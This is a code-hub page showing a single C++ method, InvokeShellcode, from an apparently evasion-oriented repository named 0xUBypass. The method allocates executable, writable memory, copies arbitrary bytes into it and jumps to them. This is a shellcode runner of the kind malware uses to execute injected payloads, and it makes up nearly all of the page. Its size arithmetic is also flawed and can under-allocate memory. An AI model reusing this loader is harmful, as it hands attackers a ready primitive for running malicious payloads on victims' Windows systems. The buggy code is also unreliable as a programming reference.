MCPcopy Create free account
hub / github.com/Yeuoly/0xUBypass / InvokeShellcode

Method InvokeShellcode

WindowsShellcodeInjector/WindowsShellcodeInjector.cpp:72–78  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

70}
71
72VOID WindowsShellCodeInvoke::InvokeShellcode(UINT8* bytes_sequence, UINT32 length) {
73 UINT32 block_size = (length & 0xfffff000) | ((length | 0xfff) ? 1000 : 0);
74 LPVOID bytes_mem = VirtualAlloc(NULL, block_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
75 memcpy_s(bytes_mem, block_size, bytes_sequence, length);
76 typedef void(*ShellMem)();
77 ((ShellMem)bytes_mem)();
78}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected